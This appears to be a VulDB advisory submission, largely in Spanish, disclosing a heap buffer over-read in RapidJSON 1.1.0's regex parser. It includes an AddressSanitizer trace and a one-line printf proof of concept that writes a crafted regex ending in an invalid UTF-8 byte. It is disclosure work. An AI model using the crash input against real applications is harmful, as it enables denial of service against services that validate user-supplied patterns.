| Título | tencent RapidJSON 1.1.0 Buffer Overflow |
|---|
| Descripción | RapidJSON v1.1.0 (and likely earlier) contains a heap-buffer-overflow
in GenericStringStream<UTF8<char>>::Take() at stream.h:116. When the
regex parser in GenericRegex::Parse() processes crafted regular
expressions containing an invalid UTF-8 sequence (e.g., a trailing
\xf0 byte), the UTF-8 decoder requests additional bytes beyond the
allocated buffer, causing an out-of-bounds read of 1 byte.
A 22-byte PoC triggers the crash:
printf '[-z`+.7;]a-z`+.7;]<)\xf0' > poc
ASan report:
heap-buffer-overflow READ of size 1
#0 GenericStringStream<UTF8<char>>::Take() stream.h:116:24
#1 UTF8<char>::Decode() encodings.h:170:39
#2 GenericRegex::DecodedStream::Decode() regex.h:174:18
#3 GenericRegex::DecodedStream::Take() regex.h:168:17
#4 GenericRegex::Parse() regex.h:213:36
Impact: any application using RapidJSON's regex or JSON Schema
pattern validation can be crashed by user-supplied input.
Reported at: https://github.com/Tencent/rapidjson/issues/2401 |
|---|
| Fuente | ⚠️ https://github.com/Tencent/rapidjson/issues/2401 |
|---|
| Usuario | shuidajiao (UID 102056) |
|---|
| Sumisión | 2026-10-11 06:18 (hace 17 días) |
|---|
| Moderación | 2026-10-26 18:19 (16 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 426552 [Tencent RapidJSON hasta 1.1.0 Regex Parser stream.h Take divulgación de información] |
|---|
| Puntos | 20 |
|---|